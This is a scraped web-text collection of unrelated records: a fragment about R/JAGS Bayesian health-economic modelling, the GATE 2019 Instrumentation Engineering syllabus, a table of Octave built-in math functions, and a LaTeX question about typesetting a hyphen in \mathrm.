These are also a combination of R and JAGS codes that basically set up and run the Bayesian model via R2jags and then post-process the results to produce the health economic evaluation."
]
| [
null,
"https://giabaio.files.wordpress.com/2012/08/724ee-conv1.jpeg",
null
]
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https://www.successcds.net/examsyllabus/gate-syllabus-instrumentation-engineering/102099/ | [
"",
null,
"Your No1 source for Latest Entrance Exams, Admission info\n\nExamsyllabus > Engineering Entrance Exam Syllabus > GATE Syllabus 2019 for Instrumentation Engineering – GATE Exam Syllabus\n\nGATE Syllabus 2019 for Instrumentation Engineering – GATE Exam Syllabus\n\nGATE Exam Syllabus 2019 for Instrumentation Engineering\n\nInstrumentation Engineering (IN)\n\nGATE Instrumentation Engineering Syllabus: The Graduate Aptitude Test in Engineering (GATE), an all India level examination administered and conducted in eight zones across the country by the GATE Committee. Here we bring you the Gate 2019 Exam Syllabus for Instrumentation Engineering subject. Check out the GATE Syllabus for Instrumentation Engineering and other important aspects of the GATE Exam Instrumentation Engineering Syllabus.\n\nSection 1: Engineering Mathematics\n\nLinear Algebra: Matrix algebra, systems of linear equations, Eigen values and Eigen vectors.\n\nCalculus: Mean value theorems, theorems of integral calculus, partial derivatives, maxima and minima, multiple integrals, Fourier series, vector identities, line, surface and volume integrals, Stokes, Gauss and Green’s theorems.\n\nDifferential equations: First order equation (linear and nonlinear), higher order linear differential equations with constant coefficients, method of variation of parameters, Cauchy’s and Euler’s equations, initial and boundary value problems, solution of partial differential equations: variable separable method.\n\nAnalysis of complex variables: Analytic functions, Cauchy’s integral theorem and integral formula, Taylor’s and Laurent’s series, residue theorem, solution of integrals.\n\nProbability and Statistics: Sampling theorems, conditional probability, mean, median, mode and standard deviation, random variables, discrete and continuous distributions: normal, Poisson and binomial distributions.\n\nNumerical Methods: Matrix inversion, solutions of non-linear algebraic equations, iterative methods for solving differential equations, numerical integration, regression and correlation analysis.\n\nInstrumentation Engineering\n\nSection 2: Electrical Circuits:\n\nVoltage and current sources: independent, dependent, ideal and practical; v-i relationships of resistor, inductor, mutual inductor and capacitor; transient analysis of RLC circuits with dc excitation.\n\nKirchoff’s laws, mesh and nodal analysis, superposition, Thevenin, Norton, maximum power transfer and reciprocity theorems.\n\nPeak-, average- and rms values of ac quantities; apparent-, active- and reactive powers; phasor analysis, impedance and admittance; series and parallel resonance, locus diagrams, realization of basic filters with R, L and C elements.\n\nOne-port and two-port networks, driving point impedance and admittance, open-, and short circuit parameters.\n\nSection 3: Signals and Systems\n\nPeriodic, aperiodic and impulse signals; Laplace, Fourier and z-transforms; transfer function, frequency response of first and second order linear time invariant systems, impulse response of systems; convolution, correlation. Discrete time system: impulse response, frequency response, pulse transfer function; DFT and FFT; basics of IIR and FIR filters.\n\nSection 4: Control Systems\n\nFeedback principles, signal flow graphs, transient response, steady-state-errors, Bode plot, phase and gain margins, Routh and Nyquist criteria, root loci, design of lead, lag and lead-lag compensators, state-space representation of systems; time-delay systems; mechanical, hydraulic and pneumatic system components, synchro pair, servo and stepper motors, servo valves; on-off, P, P-I, P-I-D, cascade, feedforward, and ratio controllers.\n\nSection 5: Analog Electronics\n\nCharacteristics and applications of diode, Zener diode, BJT and MOSFET; small signal analysis of transistor circuits, feedback amplifiers. Characteristics of operational amplifiers; applications of opamps: difference amplifier, adder, subtractor, integrator, differentiator, instrumentation amplifier, precision rectifier, active filters and other circuits. Oscillators, signal generators, voltage controlled oscillators and phase locked loop.\n\nSection 6: Digital Electronics\n\nCombinational logic circuits, minimization of Boolean functions. IC families: TTL and CMOS. Arithmetic circuits, comparators, Schmitt trigger, multi-vibrators, sequential circuits, flip- flops, shift registers, timers and counters; sample-and-hold circuit, multiplexer, analog-to- digital (successive approximation, integrating, flash and sigma-delta) and digital-to- analog converters (weighted R, R-2R ladder and current steering logic). Characteristics of ADC and DAC (resolution, quantization, significant bits, conversion/settling time); basics of number systems, 8-bit microprocessor and microcontroller: applications, memory and input-output interfacing; basics of data acquisition systems.\n\nSection 7: Measurements\n\nSI units, systematic and random errors in measurement, expression of uncertainty – accuracy and precision index, propagation of errors. PMMC, MI and dynamometer type instruments; dc potentiometer; bridges for measurement of R, L and C, Q-meter. Measurement of voltage, current and power in single and three phase circuits; ac and dc current probes; true rms meters, voltage and current scaling, instrument transformers, timer/counter, time, phase and frequency measurements, digital voltmeter, digital multimeter; oscilloscope, shielding and grounding.\n\nSection 8: Sensors and Industrial Instrumentation\n\nResistive-, capacitive-, inductive-, piezoelectric-, Hall effect sensors and associated signal conditioning circuits; transducers for industrial instrumentation: displacement (linear and angular), velocity, acceleration, force, torque, vibration, shock, pressure (including low pressure), flow (differential pressure, variable area, electromagnetic, ultrasonic, turbine and open channel flow meters) temperature (thermocouple, bolometer, RTD (3/4 wire), thermistor, pyrometer and semiconductor); liquid level, pH, conductivity and viscosity measurement.\n\nSection 9: Communication and Optical Instrumentation\n\nAmplitude- and frequency modulation and demodulation; Shannon’s sampling theorem, pulse code modulation; frequency and time division multiplexing, amplitude-, phase-, frequency-, pulse shift keying for digital modulation; optical sources and detectors: LED, laser, photo-diode, light dependent resistor and their characteristics; interferometer: applications in metrology; basics of fiber optic sensing."
]
| [
null,
"https://www.successcds.net/images/logo.jpg",
null
]
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http://utmost-sage-cell.org/sage:octave-built-in-functions | [
"Octave Built-In Functions\n\n## Description\n\nOctave has many built-in functions such as sin(x), exp(x), and log(x). Note that the natural logarithm command is {log(x)}} and not ln(x). A list of built-in functions for Octave is given below.\n\nMath Notation Octave Command Math Notation Octave Command $\\sqrt{x}$ sqrt(x) $e^x$ exp(x) $\\ln{x}$ log(x) $\\log_{10}{x}$ log10(x) $\\cos{x}$ cos(x) $\\sin{x}$ sin(x) $\\tan{x}$ tan(x) $\\cot{x}$ cot(x) $\\sec{x}$ sec(x) $\\csc{x}$ csc(x) $\\cos^{-1}{x}$ acos(x) $\\sin^{-1}{x}$ asin(x) $\\tan^{-1}{x}$ atan(x) $\\cot^{-1}{x}$ acot(x) $\\sec^{-1}{x}$ asec(x) $\\csc^{-1}{x}$ acsc(x) $\\cosh{x}$ cosh(x) $\\sinh{x}$ sinh(x) $\\tanh{x}$ tanh(x) $\\coth{x}$ coth(x) $\\text{sech}{x}$ sech(x) $\\text{csch}{x}$ csch(x) $\\cosh^{-1}{x}$ acosh(x) $\\sinh^{-1}{x}$ asinh(x) $\\tanh^{-1}{x}$ atanh(x) $\\coth^{-1}{x}$ acoth(x) $\\text{sech}^{-1}{x}$ asech(x) $\\text{csch}^{-1}{x}$ acsch(x)\n\n## Sage Cell\n\n#### Code\n\nlog(3) - sin(exp(2))\n\n\nPrimary Tags:\n\nSecondary Tags:"
]
| [
null
]
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https://imathworks.com/tex/tex-latex-how-to-get-a-hyphen-in-mathrm/ | [
"# [Tex/LaTex] how to get a hyphen in \\mathrm\n\nmath-modesubscripts\n\nA simple question I think, but if I write $\\omega{\\mathrm{anti-Stokes}}$, the hyphen looks an awful lot like a minus sign. If I naively try $\\omega{\\mathrm{anti\\hyp{}Stokes}}$ (I think \\hyp{} requires \\usepackage{hyphenat}) I get the same result – I'm not actually surprised, presumably it sets the same character.\n\nA full MWE:\n\n\\documentclass{standalone}\n\\begin{document}\n$\\omega_{\\mathrm{anti-Stokes}}$\nanti-Stokes\n\\end{document}",
null,
"The minus sign looks like a rather thin en-dash instead of a hyphen.\n\nRelevant here is that \\mathrm is meant for setting upright characters in maths mode, and therefore uses the maths roman font, spacing and encoding. On the other hand \\textrm uses the text roman font and the font parameters of the current text mode font, i.e. - will be encoded as a hyphen rather than a minus sign when using \\textrm. Because \\textrm inherits its parameters from the surrounding text, it doesn't guarantee an upright shape: for example in a theorem environment it will inherit italic shape. \\textnormal uses \\normalfont, only the size then changes\n\\textrm and \\textnormal, in the absence of the amsmath package do not scale in subscripts, so amsmath must be loaded in cases like this, either directly or by another package such as mathtools which fixes some bugs in amsmath."
]
| [
null,
"https://i.stack.imgur.com/d1H1v.png",
null
]
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